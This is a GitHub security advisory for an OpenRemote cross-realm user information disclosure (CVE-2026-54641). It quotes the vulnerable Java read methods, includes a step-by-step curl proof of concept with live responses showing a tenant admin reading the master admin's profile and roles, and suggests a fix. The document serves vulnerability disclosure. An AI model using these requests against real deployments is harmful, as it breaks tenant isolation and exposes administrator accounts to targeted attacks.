Skip to content

OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

High severity GitHub Reviewed Published Jun 12, 2026 in openremote/openremote

Package

maven io.openremote:openremote-manager (Maven)

Affected versions

< 1.24.2

Patched versions

1.24.2

Description

Summary

A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.

Details

The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.

Three methods are missing an authenticated-realm guard:

get (line 102):

public User get(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUser(userId);
    } ...
}

The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.

getUserClientRoles (line 294):

public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
    } ...
}

getUserRealmRoles (line 313):

public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
    } ...
}

By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.

The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.

PoC

Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.

Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).

Step 2. Obtain an access token for the tenantb admin:

TENANTB_TOKEN=$(curl -s -X POST \
  "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
  -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Step 3. Read a master-realm user profile using the tenantb token:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
 "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
 "firstName":"System","lastName":"Administrator",
 "enabled":true,"createdOn":1780550421390,
 "serviceAccount":false,"username":"admin"}
HTTP 200

Step 4. Read master-admin realm roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

["admin"]
HTTP 200

Step 5. Read master-admin client roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
 "write:alarms","write:attributes","write:services","write:user","write:assets",
 "read:insights","read:map","read:users","read:assets","read:rules","write",
 "write:admin","read","write:rules"]
HTTP 200

All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.

A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.

Impact

Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.

References

@ebariaux ebariaux published to openremote/openremote Jun 12, 2026
Published to the GitHub Advisory Database Jul 6, 2026
Reviewed Jul 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-54641

GHSA ID

GHSA-xqr9-4wvv-gvch

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.